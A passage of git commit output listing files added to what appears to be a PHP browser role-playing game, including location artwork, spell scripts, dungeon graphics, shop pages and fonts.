locations/central-square/img/day/n/postoffice.png create mode 100644 locations/central-square/img/day/n/shop.png create mode 100644 locations/central-square/img/day/n/signleft.png create mode 100644 locations/central-square/img/day/n/signright.png create mode 100644 locations/central-square/img/day/n/statue.png create mode 100644 locations/central-square/img/day/n/vesna_cap_statue.png create mode 100644 locations/central-square/img/day/n/zima_berezka.png create mode 100644 locations/central-square/img/day/n/zima_cap_arr_left.png create mode 100644 locations/central-square/img/day/n/zima_cap_arr_right.png create mode 100644 locations/central-square/img/day/n/zima_cap_arr_top.png create mode 100644 locations/central-square/img/day/n/zima_cap_cp_day.jpg create mode 100644 locations/central-square/img/day/n/zima_club.png create mode 100644 locations/central-square/img/day/n/zima_kom.png create mode 100644 locations/central-square/img/day/n/zima_loto.png create mode 100644 locations/central-square/img/day/n/zima_po4ta.png create mode 100644 locations/central-square/img/day/n/zima_rem.png create mode 100644 locations/central-square/img/day/n/zima_shop.png create mode 100644 locations/central-square/img/day/n/zima_stella.png create mode 100644 locations/central-square/img/night/background.jpg create mode 100644 locations/central-square/img/night/h/bigshop.png create mode 100644 locations/central-square/img/night/h/blacksmith.png create mode 100644 locations/central-square/img/night/h/castle.png create mode 100644 locations/central-square/img/night/h/fleamarket.png create mode 100644 locations/central-square/img/night/h/loto.png create mode 100644 locations/central-square/img/night/h/postoffice.png create mode 100644 locations/central-square/img/night/h/shop.png create mode 100644 locations/central-square/img/night/h/signleft.png create mode 100644 locations/central-square/img/night/h/signright.png create mode 100644 locations/central-square/img/night/h/statue.png create mode 100644 locations/central-square/img/night/n/bigshop.png create mode 100644 locations/central-square/img/night/n/blacksmith.png create mode 100644 locations/central-square/img/night/n/castle.png create mode 100644 locations/central-square/img/night/n/fleamarket.png create mode 100644 locations/central-square/img/night/n/loto.png create mode 100644 locations/central-square/img/night/n/postoffice.png create mode 100644 locations/central-square/img/night/n/shop.png create mode 100644 locations/central-square/img/night/n/signleft.png create mode 100644 locations/central-square/img/night/n/signright.png create mode 100644 locations/central-square/img/night/n/statue.png create mode 100644 locations/central-square/img/night/n/vesna_cap_statue.png create mode 100644 locations/central-square/img/night/n/zima_berezka.png create mode 100644 locations/central-square/img/night/n/zima_cap_arr_left.png create mode 100644 locations/central-square/img/night/n/zima_cap_arr_right.png create mode 100644 locations/central-square/img/night/n/zima_cap_arr_top.png create mode 100644 locations/central-square/img/night/n/zima_cap_cp_day.jpg create mode 100644 locations/central-square/img/night/n/zima_club.png create mode 100644 locations/central-square/img/night/n/zima_kom.png create mode 100644 locations/central-square/img/night/n/zima_loto.png create mode 100644 locations/central-square/img/night/n/zima_po4ta.png create mode 100644 locations/central-square/img/night/n/zima_rem.png create mode 100644 locations/central-square/img/night/n/zima_shop.png create mode 100644 locations/central-square/img/night/n/zima_stella.png create mode 100644 locations/central-square/map.php create mode 100644 locations/central-square2/img/day/background.png create mode 100644 locations/central-square2/img/day/h/bigshop.png create mode 100644 locations/central-square2/img/day/h/blacksmith.png create mode 100644 locations/central-square2/img/day/h/castle.png create mode 100644 locations/central-square2/img/day/h/fleamarket.png create mode 100644 locations/central-square2/img/day/h/loto.png create mode 100644 locations/central-square2/img/day/h/postoffice.png create mode 100644 locations/central-square2/img/day/h/shop.png create mode 100644 locations/central-square2/img/day/h/signleft.png create mode 100644 locations/central-square2/img/day/h/signright.png create mode 100644 locations/central-square2/img/day/h/statue.png create mode 100644 locations/central-square2/img/day/n/bigshop.png create mode 100644 locations/central-square2/img/day/n/blacksmith.png create mode 100644 locations/central-square2/img/day/n/castle.png create mode 100644 locations/central-square2/img/day/n/fleamarket.png create mode 100644 locations/central-square2/img/day/n/loto.png create mode 100644 locations/central-square2/img/day/n/postoffice.png create mode 100644 locations/central-square2/img/day/n/shop.png create mode 100644 locations/central-square2/img/day/n/signleft.png create mode 100644 locations/central-square2/img/day/n/signright.png create mode 100644 locations/central-square2/img/day/n/statue.png create mode 100644 locations/central-square2/img/night/background.png create mode 100644 locations/central-square2/img/night/h/bigshop.png create mode 100644 locations/central-square2/img/night/h/blacksmith.png create mode 100644 locations/central-square2/img/night/h/castle.png create mode 100644 locations/central-square2/img/night/h/fleamarket.png create mode 100644 locations/central-square2/img/night/h/loto.png create mode 100644 locations/central-square2/img/night/h/postoffice.png create mode 100644 locations/central-square2/img/night/h/shop.png create mode 100644 locations/central-square2/img/night/h/signleft.png create mode 100644 locations/central-square2/img/night/h/signright.png create mode 100644 locations/central-square2/img/night/h/statue.png create mode 100644 locations/central-square2/img/night/n/bigshop.png create mode 100644 locations/central-square2/img/night/n/blacksmith.png create mode 100644 locations/central-square2/img/night/n/castle.png create mode 100644 locations/central-square2/img/night/n/fleamarket.png create mode 100644 locations/central-square2/img/night/n/loto.png create mode 100644 locations/central-square2/img/night/n/postoffice.png create mode 100644 locations/central-square2/img/night/n/shop.png create mode 100644 locations/central-square2/img/night/n/signleft.png create mode 100644 locations/central-square2/img/night/n/signright.png create mode 100644 locations/central-square2/img/night/n/statue.png create mode 100644 locations/central-square2/map.php create mode 100644 locations/parkovaja/img/day/background.png create mode 100644 locations/parkovaja/img/day/h/darkforest.png create mode 100644 locations/parkovaja/img/day/h/fonar_left.png create mode 100644 locations/parkovaja/img/day/h/fonar_right.png create mode 100644 locations/parkovaja/img/day/h/horse.png create mode 100644 locations/parkovaja/img/day/h/inn.png create mode 100644 locations/parkovaja/img/day/h/portal.png create mode 100644 locations/parkovaja/img/day/h/repository.png create mode 100644 locations/parkovaja/img/day/h/vesna_cap_fontan2.png create mode 100644 locations/parkovaja/img/day/n/darkforest.png create mode 100644 locations/parkovaja/img/day/n/fonar_left.png create mode 100644 locations/parkovaja/img/day/n/fonar_right.png create mode 100644 locations/parkovaja/img/day/n/horse.png create mode 100644 locations/parkovaja/img/day/n/inn.png create mode 100644 locations/parkovaja/img/day/n/portal.png create mode 100644 locations/parkovaja/img/day/n/repository.png create mode 100644 locations/parkovaja/img/day/n/vesna_cap_fontan2.png create mode 100644 locations/parkovaja/img/night/background.png create mode 100644 locations/parkovaja/img/night/h/darkforest.png create mode 100644 locations/parkovaja/img/night/h/fonar_left.png create mode 100644 locations/parkovaja/img/night/h/fonar_right.png create mode 100644 locations/parkovaja/img/night/h/horse.png create mode 100644 locations/parkovaja/img/night/h/inn.png create mode 100644 locations/parkovaja/img/night/h/portal.png create mode 100644 locations/parkovaja/img/night/h/repository.png create mode 100644 locations/parkovaja/img/night/h/vesna_cap_fontan2.png create mode 100644 locations/parkovaja/img/night/n/darkforest.png create mode 100644 locations/parkovaja/img/night/n/fonar_left.png create mode 100644 locations/parkovaja/img/night/n/fonar_right.png create mode 100644 locations/parkovaja/img/night/n/horse.png create mode 100644 locations/parkovaja/img/night/n/inn.png create mode 100644 locations/parkovaja/img/night/n/portal.png create mode 100644 locations/parkovaja/img/night/n/repository.png create mode 100644 locations/parkovaja/img/night/n/vesna_cap_fontan2.png create mode 100644 locations/parkovaja/map.php create mode 100644 locations/strashilkina/img/day/background.jpg create mode 100644 locations/strashilkina/img/day/background.png create mode 100644 locations/strashilkina/img/day/h/bank.png create mode 100644 locations/strashilkina/img/day/h/casino.png create mode 100644 locations/strashilkina/img/day/h/deathtower.png create mode 100644 locations/strashilkina/img/day/h/flowershop.png create mode 100644 locations/strashilkina/img/day/h/register.png create mode 100644 locations/strashilkina/img/day/h/signleft.png create mode 100644 locations/strashilkina/img/day/h/signright.png create mode 100644 locations/strashilkina/img/day/n/bank.png create mode 100644 locations/strashilkina/img/day/n/casino.png create mode 100644 locations/strashilkina/img/day/n/deathtower.png create mode 100644 locations/strashilkina/img/day/n/flowershop.png create mode 100644 locations/strashilkina/img/day/n/register.png create mode 100644 locations/strashilkina/img/day/n/signleft.png create mode 100644 locations/strashilkina/img/day/n/signright.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_arr_left.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_arr_right.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_bank.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_flowershop.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_registratura.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_strash_day.jpg create mode 100644 locations/strashilkina/img/day/n/zima_cap_tower.png create mode 100644 locations/strashilkina/img/day/n/zima_cap_tree.png create mode 100644 locations/strashilkina/img/night/background.jpg create mode 100644 locations/strashilkina/img/night/background.png create mode 100644 locations/strashilkina/img/night/h/bank.png create mode 100644 locations/strashilkina/img/night/h/casino.png create mode 100644 locations/strashilkina/img/night/h/deathtower.png create mode 100644 locations/strashilkina/img/night/h/flowershop.png create mode 100644 locations/strashilkina/img/night/h/register.png create mode 100644 locations/strashilkina/img/night/h/signleft.png create mode 100644 locations/strashilkina/img/night/h/signright.png create mode 100644 locations/strashilkina/img/night/n/bank.png create mode 100644 locations/strashilkina/img/night/n/casino.png create mode 100644 locations/strashilkina/img/night/n/deathtower.png create mode 100644 locations/strashilkina/img/night/n/flowershop.png create mode 100644 locations/strashilkina/img/night/n/register.png create mode 100644 locations/strashilkina/img/night/n/signleft.png create mode 100644 locations/strashilkina/img/night/n/signright.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_arr_left.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_arr_right.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_bank.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_flowershop.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_registratura.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_strash_day.jpg create mode 100644 locations/strashilkina/img/night/n/zima_cap_tower.png create mode 100644 locations/strashilkina/img/night/n/zima_cap_tree.png create mode 100644 locations/strashilkina/map.php create mode 100644 locations/strashilkina2/img/day/background.png create mode 100644 locations/strashilkina2/img/day/h/bank.png create mode 100644 locations/strashilkina2/img/day/h/casino.png create mode 100644 locations/strashilkina2/img/day/h/deathtower.png create mode 100644 locations/strashilkina2/img/day/h/flowershop.png create mode 100644 locations/strashilkina2/img/day/h/register.png create mode 100644 locations/strashilkina2/img/day/h/signleft.png create mode 100644 locations/strashilkina2/img/day/h/signright.png create mode 100644 locations/strashilkina2/img/day/n/bank.png create mode 100644 locations/strashilkina2/img/day/n/casino.png create mode 100644 locations/strashilkina2/img/day/n/deathtower.png create mode 100644 locations/strashilkina2/img/day/n/flowershop.png create mode 100644 locations/strashilkina2/img/day/n/register.png create mode 100644 locations/strashilkina2/img/day/n/signleft.png create mode 100644 locations/strashilkina2/img/day/n/signright.png create mode 100644 locations/strashilkina2/img/night/background.png create mode 100644 locations/strashilkina2/img/night/h/bank.png create mode 100644 locations/strashilkina2/img/night/h/casino.png create mode 100644 locations/strashilkina2/img/night/h/deathtower.png create mode 100644 locations/strashilkina2/img/night/h/flowershop.png create mode 100644 locations/strashilkina2/img/night/h/register.png create mode 100644 locations/strashilkina2/img/night/h/signleft.png create mode 100644 locations/strashilkina2/img/night/h/signright.png create mode 100644 locations/strashilkina2/img/night/n/bank.png create mode 100644 locations/strashilkina2/img/night/n/casino.png create mode 100644 locations/strashilkina2/img/night/n/deathtower.png create mode 100644 locations/strashilkina2/img/night/n/flowershop.png create mode 100644 locations/strashilkina2/img/night/n/register.png create mode 100644 locations/strashilkina2/img/night/n/signleft.png create mode 100644 locations/strashilkina2/img/night/n/signright.png create mode 100644 locations/strashilkina2/map.php create mode 100644 locations/style.css create mode 100644 logs.php create mode 100644 lotery.php create mode 100644 luka_shop.php create mode 100644 magic/8cure30.php create mode 100644 magic/al_neut_power.php create mode 100644 magic/antedot.php create mode 100644 magic/attack.php create mode 100644 magic/attack_t.php create mode 100644 magic/attackbot.php create mode 100644 magic/attackk.php create mode 100644 magic/attackk_close.php create mode 100644 magic/attackk_open.php create mode 100644 magic/battack.php create mode 100644 magic/bexit.php create mode 100644 magic/blank.php create mode 100644 magic/brat.php create mode 100644 magic/c30_100.php create mode 100644 magic/check.php create mode 100644 magic/cityattack.php create mode 100644 magic/clone.php create mode 100644 magic/clones.php create mode 100644 magic/cpattack.php create mode 100644 magic/ct1.php create mode 100644 magic/ct2.php create mode 100644 magic/ct3.php create mode 100644 magic/ct3_100.php create mode 100644 magic/ct_all.php create mode 100644 magic/ct_nele4.php create mode 100644 magic/cure120.php create mode 100644 magic/cure15.php create mode 100644 magic/cure150.php create mode 100644 magic/cure30.php create mode 100644 magic/cure300.php create mode 100644 magic/cure30_100.php create mode 100644 magic/cure30_8.php create mode 100644 magic/cure45.php create mode 100644 magic/cure60.php create mode 100644 magic/cure_20.php create mode 100644 magic/cure_35.php create mode 100644 magic/cure_50.php create mode 100644 magic/cure_d.php create mode 100644 magic/cure_rep_120.php create mode 100644 magic/cure_rep_150.php create mode 100644 magic/cure_rep_180.php create mode 100644 magic/cure_rep_270.php create mode 100644 magic/cure_rep_360.php create mode 100644 magic/cure_rep_90.php create mode 100644 magic/ddark.php create mode 100644 magic/death.php create mode 100644 magic/death_off.php create mode 100644 magic/defence.php create mode 100644 magic/devastate.php create mode 100644 magic/dlight.php create mode 100644 magic/dneit.php create mode 100644 magic/dob10.php create mode 100644 magic/dob100.php create mode 100644 magic/dob20.php create mode 100644 magic/dob450.php create mode 100644 magic/dob5.php create mode 100644 magic/dob50.php create mode 100644 magic/down.php create mode 100644 magic/dpal.php create mode 100644 magic/eattack.php create mode 100644 magic/ebattack.php create mode 100644 magic/elem_ally_air.php create mode 100644 magic/elem_ally_earth.php create mode 100644 magic/elem_ally_fire.php create mode 100644 magic/elem_ally_water.php create mode 100644 magic/elem_foe_air.php create mode 100644 magic/elem_foe_earth.php create mode 100644 magic/elem_foe_fire.php create mode 100644 magic/elem_foe_water.php create mode 100644 magic/elikbroni.php create mode 100644 magic/elikurona.php create mode 100644 magic/fist_def.php create mode 100644 magic/haos.php create mode 100644 magic/haos_off.php create mode 100644 magic/hidden.php create mode 100644 magic/hiden.php create mode 100644 magic/ident.php create mode 100644 magic/incmagic.php create mode 100644 magic/larec1.php create mode 100644 magic/larec2.php create mode 100644 magic/larec3.php create mode 100644 magic/larec4.php create mode 100644 magic/ldadd.php create mode 100644 magic/luck.php create mode 100644 magic/marry.php create mode 100644 magic/mfunctions.php create mode 100644 magic/note.php create mode 100644 magic/nybut.php create mode 100644 magic/obezl.php create mode 100644 magic/obezl_off.php create mode 100644 magic/paket.php create mode 100644 magic/pal_off.php create mode 100644 magic/payok.php create mode 100644 magic/rom.php create mode 100644 magic/scaner.php create mode 100644 magic/sharp_d1.php create mode 100644 magic/sharp_d11.php create mode 100644 magic/sharp_d2.php create mode 100644 magic/sharp_d3.php create mode 100644 magic/sharp_d4.php create mode 100644 magic/sharp_d5.php create mode 100644 magic/sharp_m1.php create mode 100644 magic/sharp_m11.php create mode 100644 magic/sharp_m2.php create mode 100644 magic/sharp_m3.php create mode 100644 magic/sharp_m4.php create mode 100644 magic/sharp_m5.php create mode 100644 magic/sharp_n1.php create mode 100644 magic/sharp_n11.php create mode 100644 magic/sharp_n2.php create mode 100644 magic/sharp_n3.php create mode 100644 magic/sharp_n4.php create mode 100644 magic/sharp_n5.php create mode 100644 magic/sharp_t1.php create mode 100644 magic/sharp_t11.php create mode 100644 magic/sharp_t2.php create mode 100644 magic/sharp_t3.php create mode 100644 magic/sharp_t4.php create mode 100644 magic/sharp_t5.php create mode 100644 magic/sleep.php create mode 100644 magic/sleep15.php create mode 100644 magic/sleep30.php create mode 100644 magic/sleep_off.php create mode 100644 magic/sleepf.php create mode 100644 magic/sleepf_off.php create mode 100644 magic/stop.php create mode 100644 magic/stop_200.php create mode 100644 magic/sunduk.php create mode 100644 magic/sunduk1.php create mode 100644 magic/sunduk2.php create mode 100644 magic/sunduk3.php create mode 100644 magic/sunduk4.php create mode 100644 magic/sunduk5.php create mode 100644 magic/sunduk6.php create mode 100644 magic/sunduk7.php create mode 100644 magic/sunduk8.php create mode 100644 magic/sunduk9.php create mode 100644 magic/svitok2.php create mode 100644 magic/un_align.php create mode 100644 magic/unclone.php create mode 100644 magic/unmarry.php create mode 100644 magic/usability_klan/attack.php create mode 100644 magic/usability_klan/attack_blood.php create mode 100644 magic/usability_klan/clone.php create mode 100644 magic/usability_klan/close_battle.php create mode 100644 magic/usability_klan/heal20.php create mode 100644 magic/usability_klan/heal35.php create mode 100644 magic/usability_klan/heal50.php create mode 100644 magic/usability_klan/note.php create mode 100644 magic/usability_klan/open_battle.php create mode 100644 magic/usability_klan/reamdeath.php create mode 100644 magic/usability_klan/sleep15.php create mode 100644 magic/usability_klan/sleep30.php create mode 100644 magic/usability_klan/travmoff.php create mode 100644 magic/usability_klan/unclone.php create mode 100644 magic/usability_user/attack.php create mode 100644 magic/usability_user/attack_blood.php create mode 100644 magic/usability_user/clone.php create mode 100644 magic/usability_user/close_battle.php create mode 100644 magic/usability_user/heal20.php create mode 100644 magic/usability_user/heal35.php create mode 100644 magic/usability_user/heal50.php create mode 100644 magic/usability_user/note.php create mode 100644 magic/usability_user/open_battle.php create mode 100644 magic/usability_user/reamdeath.php create mode 100644 magic/usability_user/sleep15.php create mode 100644 magic/usability_user/sleep30.php create mode 100644 magic/usability_user/travmoff.php create mode 100644 magic/usability_user/unclone.php create mode 100644 magic/usability_vip/attack.php create mode 100644 magic/usability_vip/attack_blood.php create mode 100644 magic/usability_vip/defence.php create mode 100644 magic/usability_vip/devastate.php create mode 100644 magic/usability_vip/invisible.php create mode 100644 magic/usability_vip/no_attack.php create mode 100644 magic/usability_vip/pers_blood.php create mode 100644 magic/usability_vip/sleep.php create mode 100644 magic/usability_vip/travmoff.php create mode 100644 magic/usability_vip/un_sleep.php create mode 100644 magic/vampir.php create mode 100644 magic/vips.php create mode 100644 magic/wis_air_def1.php create mode 100644 magic/wis_air_def2.php create mode 100644 magic/wis_air_def3.php create mode 100644 magic/wis_air_h1.php create mode 100644 magic/wis_air_h2.php create mode 100644 magic/wis_air_h3.php create mode 100644 magic/wis_air_m1.php create mode 100644 magic/wis_air_m2.php create mode 100644 magic/wis_air_m3.php create mode 100644 magic/wis_air_o1.php create mode 100644 magic/wis_air_o2.php create mode 100644 magic/wis_air_o3.php create mode 100644 magic/wis_air_t1.php create mode 100644 magic/wis_air_t2.php create mode 100644 magic/wis_air_t3.php create mode 100644 magic/wis_earth_d1.php create mode 100644 magic/wis_earth_d2.php create mode 100644 magic/wis_earth_d3.php create mode 100644 magic/wis_earth_def1.php create mode 100644 magic/wis_earth_def2.php create mode 100644 magic/wis_earth_def3.php create mode 100644 magic/wis_earth_g1.php create mode 100644 magic/wis_earth_g2.php create mode 100644 magic/wis_earth_g3.php create mode 100644 magic/wis_earth_k1.php create mode 100644 magic/wis_earth_k2.php create mode 100644 magic/wis_earth_k3.php create mode 100644 magic/wis_earth_m1.php create mode 100644 magic/wis_earth_m2.php create mode 100644 magic/wis_earth_m3.php create mode 100644 magic/wis_fire_def1.php create mode 100644 magic/wis_fire_def2.php create mode 100644 magic/wis_fire_def3.php create mode 100644 magic/wis_fire_i1.php create mode 100644 magic/wis_fire_i2.php create mode 100644 magic/wis_fire_i3.php create mode 100644 magic/wis_fire_p1.php create mode 100644 magic/wis_fire_p2.php create mode 100644 magic/wis_fire_p3.php create mode 100644 magic/wis_fire_t1.php create mode 100644 magic/wis_fire_t2.php create mode 100644 magic/wis_fire_t3.php create mode 100644 magic/wis_fire_v1.php create mode 100644 magic/wis_fire_v2.php create mode 100644 magic/wis_fire_v3.php create mode 100644 magic/wis_water_ch1.php create mode 100644 magic/wis_water_ch2.php create mode 100644 magic/wis_water_ch3.php create mode 100644 magic/wis_water_def1.php create mode 100644 magic/wis_water_def2.php create mode 100644 magic/wis_water_def3.php create mode 100644 magic/wis_water_o1.php create mode 100644 magic/wis_water_o2.php create mode 100644 magic/wis_water_o3.php create mode 100644 magic/wis_water_r1.php create mode 100644 magic/wis_water_r2.php create mode 100644 magic/wis_water_r3.php create mode 100644 magic/wis_water_tr1.php create mode 100644 magic/wis_water_tr2.php create mode 100644 magic/wis_water_tr3.php create mode 100644 magic/zapas_.php create mode 100644 magic/zz.php create mode 100644 mailsender.php create mode 100644 main.php create mode 100644 map/includes/mapmove_class.php create mode 100644 map/index.php create mode 100644 map/map/-4x2 create mode 100644 map/map/-4x9 create mode 100644 map/map/0x0 create mode 100644 map/map/2x4 create mode 100644 mg.php create mode 100644 mg2.php create mode 100644 moderonline.php create mode 100644 module_quest.php create mode 100644 navig.php create mode 100644 new_year.php create mode 100644 online.html create mode 100644 online.php create mode 100644 online_get_u_s.php create mode 100644 orden.php create mode 100644 palklan.php create mode 100644 payment_f.php create mode 100644 perenoskomplekta.php create mode 100644 podz.php create mode 100644 podzem/atk.php create mode 100644 podzem/connect.php create mode 100644 podzem/edit.php create mode 100644 podzem/edit_podzem.php create mode 100644 podzem/labirint3/1.gif create mode 100644 podzem/labirint3/1/cn1.gif create mode 100644 podzem/labirint3/1/cn2.gif create mode 100644 podzem/labirint3/1/cn3.gif create mode 100644 podzem/labirint3/1/cy3.gif create mode 100644 podzem/labirint3/1/index.html create mode 100644 podzem/labirint3/1/kanal.gif create mode 100644 podzem/labirint3/1/l1.gif create mode 100644 podzem/labirint3/1/ln1.gif create mode 100644 podzem/labirint3/1/ln2.gif create mode 100644 podzem/labirint3/1/ln3.gif create mode 100644 podzem/labirint3/1/ln4.gif create mode 100644 podzem/labirint3/1/ly1.gif create mode 100644 podzem/labirint3/1/ly2.gif create mode 100644 podzem/labirint3/1/ly3.gif create mode 100644 podzem/labirint3/1/ly4.gif create mode 100644 podzem/labirint3/1/n1.gif create mode 100644 podzem/labirint3/1/r1.gif create mode 100644 podzem/labirint3/1/rn1.gif create mode 100644 podzem/labirint3/1/rn2.gif create mode 100644 podzem/labirint3/1/rn3.gif create mode 100644 podzem/labirint3/1/rn4.gif create mode 100644 podzem/labirint3/1/rn5.gif create mode 100644 podzem/labirint3/1/ry1.gif create mode 100644 podzem/labirint3/1/ry2.gif create mode 100644 podzem/labirint3/1/ry3.gif create mode 100644 podzem/labirint3/1/ry4.gif create mode 100644 podzem/labirint3/1/stok.gif create mode 100644 podzem/labirint3/1/v1.gif create mode 100644 podzem/labirint3/1/yo.gif create mode 100644 podzem/labirint3/111.gif create mode 100644 podzem/labirint3/12.gif create mode 100644 podzem/labirint3/122.gif create mode 100644 podzem/labirint3/1_l.gif create mode 100644 podzem/labirint3/1_n.gif create mode 100644 podzem/labirint3/1_r.gif create mode 100644 podzem/labirint3/1_v.gif create mode 100644 podzem/labirint3/2.gif create mode 100644 podzem/labirint3/2_l.gif create mode 100644 podzem/labirint3/2_n.gif create mode 100644 podzem/labirint3/2_r.gif create mode 100644 podzem/labirint3/2_v.gif create mode 100644 podzem/labirint3/3.gif create mode 100644 podzem/labirint3/4.gif create mode 100644 podzem/labirint3/bg.gif create mode 100644 podzem/labirint3/diz.gif create mode 100644 podzem/labirint3/gad.gif create mode 100644 podzem/labirint3/index.html create mode 100644 podzem/labirint3/key1.gif create mode 100644 podzem/labirint3/key2.gif create mode 100644 podzem/labirint3/key3.gif create mode 100644 podzem/labirint3/key4.gif create mode 100644 podzem/labirint3/key5.gif create mode 100644 podzem/labirint3/key6.gif create mode 100644 podzem/labirint3/key7.gif create mode 100644 podzem/labirint3/key8.gif create mode 100644 podzem/labirint3/key9.gif create mode 100644 podzem/labirint3/krisa.gif create mode 100644 podzem/labirint3/luka.gif create mode 100644 podzem/labirint3/maps.jpg create mode 100644 podzem/labirint3/mart.gif create mode 100644 podzem/labirint3/merz.gif create mode 100644 podzem/labirint3/move.gif create mode 100644 podzem/labirint3/navi.gif create mode 100644 podzem/labirint3/nazad.gif create mode 100644 podzem/labirint3/obit.gif create mode 100644 podzem/labirint3/pauk.gif create mode 100644 podzem/labirint3/podzem.jpg create mode 100644 podzem/labirint3/podzem2.jpg create mode 100644 podzem/labirint3/rewet.gif create mode 100644 podzem/labirint3/rn1.gif create mode 100644 podzem/labirint3/sclad.gif create mode 100644 podzem/labirint3/sclad2.jpg create mode 100644 podzem/labirint3/sclad3.jpg create mode 100644 podzem/labirint3/sclad4.jpg create mode 100644 podzem/labirint3/sun.gif create mode 100644 podzem/labirint3/telep.gif create mode 100644 podzem/labirint3/user.gif create mode 100644 podzem/labirint3/vlevo.gif create mode 100644 podzem/labirint3/vpravo.gif create mode 100644 podzem/labirint3/vverh.gif create mode 100644 podzem/labirint3/yeralti.gif create mode 100644 podzem/labirint3/yerustu.gif create mode 100644 podzem/labirint3/yo.gif create mode 100644 podzem/labirint3/yos.gif create mode 100644 podzem/labirint3/zel.gif create mode 100644 podzem/labirint3/zombi.gif create mode 100644 podzem/labirint3/zud.gif create mode 100644 podzem/labirint3/zuk.gif create mode 100644 podzem/podz.php create mode 100644 podzem/raschet_bot.php create mode 100644 podzem_brat.php create mode 100644 podzem_dialog.php create mode 100644 podzem_mod.php create mode 100644 podzem_res.php create mode 100644 pole.php create mode 100644 pole_cron.php create mode 100644 post.php create mode 100644 proba.php create mode 100644 quest_room.php create mode 100644 rating/index.php create mode 100644 rating/index_files/Thumbs.db create mode 100644 rating/index_files/cigame-logo-ny.png create mode 100644 rating/index_files/css create mode 100644 rating/index_files/dct.js create mode 100644 rating/index_files/dynamic.js create mode 100644 rating/index_files/f_f_p1.jpg create mode 100644 rating/index_files/f_p1 create mode 100644 rating/index_files/f_p1(1) create mode 100644 rating/index_files/f_p1(2).jpg create mode 100644 rating/index_files/f_p1.jpg create mode 100644 rating/index_files/f_p2 create mode 100644 rating/index_files/f_p3 create mode 100644 rating/index_files/form.css create mode 100644 rating/index_files/jquery-ui.min.css create mode 100644 rating/index_files/jquery-ui.min.js create mode 100644 rating/index_files/jquery-ui.structure.min.css create mode 100644 rating/index_files/jquery-ui.theme.min.css create mode 100644 rating/index_files/jquery.js create mode 100644 rating/index_files/kb.js create mode 100644 rating/index_files/main.css create mode 100644 rating/index_files/palgame-logo.gif create mode 100644 rating/index_files/palgame-logo.png create mode 100644 rating/index_files/pic.css create mode 100644 rating/index_files/pluso-like.js create mode 100644 rating/index_files/process create mode 100644 rating/index_files/stat.css create mode 100644 rating/index_files/static.js create mode 100644 rating/index_files/watch.js create mode 100644 rating_users.php create mode 100644 ratio.php create mode 100644 ref.php create mode 100644 refreshed.html create mode 100644 register.php create mode 100644 relikt.php create mode 100644 rememberpassword.php create mode 100644 rep_shop.php create mode 100644 repair.php create mode 100644 right.html create mode 100644 robots.txt create mode 100644 sec1.php create mode 100644 section0/law.txt create mode 100644 section0/preamble.txt create mode 100644 section0/start.txt create mode 100644 section0/vocabilory.txt create mode 100644 shop.php create mode 100644 shop/index.php create mode 100644 shop/index_files/337e6049a4c1cedb4f0a6501e6e047eb.jpg create mode 100644 shop/index_files/3ac2b40d5d219f97b1d6ea890955cdfc.jpg create mode 100644 shop/index_files/4f40b2d950a4f71a3027b255d6612e77.jpg create mode 100644 shop/index_files/655076a6081b4751529a17a1423de9b5.jpg create mode 100644 shop/index_files/674a09e06a92d8594c1cf128c56d885a.jpg create mode 100644 shop/index_files/Thumbs.db create mode 100644 shop/index_files/b36577996e80254b6a4feda27f63703d.jpg create mode 100644 shop/index_files/beee5222c8127081c0bc441264090884.jpg create mode 100644 shop/index_files/cigame-logo-ny.png create mode 100644 shop/index_files/css create mode 100644 shop/index_files/dct.js create mode 100644 shop/index_files/dynamic.js create mode 100644 shop/index_files/f2072cc76b5735960e01fd0f4471596d.jpg create mode 100644 shop/index_files/faq.css create mode 100644 shop/index_files/form.css create mode 100644 shop/index_files/jquery-ui.min.css create mode 100644 shop/index_files/jquery-ui.min.js create mode 100644 shop/index_files/jquery-ui.structure.min.css create mode 100644 shop/index_files/jquery-ui.theme.min.css create mode 100644 shop/index_files/jquery.js create mode 100644 shop/index_files/kb.js create mode 100644 shop/index_files/main.css create mode 100644 shop/index_files/palgame-logo.gif create mode 100644 shop/index_files/palgame-logo.png create mode 100644 shop/index_files/pic.css create mode 100644 shop/index_files/pluso-like.js create mode 100644 shop/index_files/process create mode 100644 shop/index_files/static.js create mode 100644 shop/index_files/watch.js create mode 100644 shop_luka.php create mode 100644 smiles.html create mode 100644 sound/sound.swf create mode 100644 spambase.txt create mode 100644 startpodzemel.php create mode 100644 stat_battle.php create mode 100644 static/flash/Sound.0.0.4.swf create mode 100644 static/flash/Sound.0.0.5.swf create mode 100644 static/flash/Sound.0.0.6.swf create mode 100644 static/flash/Sound.0.0.7.swf create mode 100644 static/flash/Sound.fla create mode 100644 static/flash/ZeroClipboard.fla create mode 100644 static/flash/ZeroClipboard.swf create mode 100644 static/flash/clock.swf create mode 100644 static/fonts/ARDESTINE.ttf create mode 100644 static/fonts/ARESSENCE.ttf create mode 100644 static/fonts/Bradley Hand ITC.ttf create mode 100644 static/fonts/CHILLER.ttf create mode 100644 static/fonts/Edgar_da_cool_Regular.ttf create mode 100644 static/fonts/FRSCRIPT.ttf create mode 100644 static/fonts/Fh_Script_Regular.ttf create mode 100644 static/fonts/Gabo4_Gabo4.ttf create mode 100644 static/fonts/Hurryup_Hurryup.ttf create mode 100644 static/fonts/JAMI_Regular.ttf create mode 100644 static/fonts/Justy1_Regular.ttf create mode 100644 static/fonts/cour.ttf create mode 100644 static/fonts/courbd.ttf create mode 100644 static/fonts/courbi.ttf create mode 100644 static/fonts/couri.ttf create mode 100644 static/fonts/de_Manu_2_Regular.ttf create mode 100644 static/image.php create mode 100644 static/images/1.gif create mode 100644 static/images/18.gif create mode 100644 static/images/19.gif create mode 100644 static/images/1blue.gif create mode 100644 static/images/1down-grey.gif create mode 100644 static/images/1green.gif create mode 100644 static/images/1red.gif create mode 100644 static/images/1silver.gif create mode 100644 static/images/1up-grey.gif create mode 100644 static/images/1x1.gif create mode 100644 static/images/1yellow.gif create mode 100644 static/images/2.gif create mode 100644 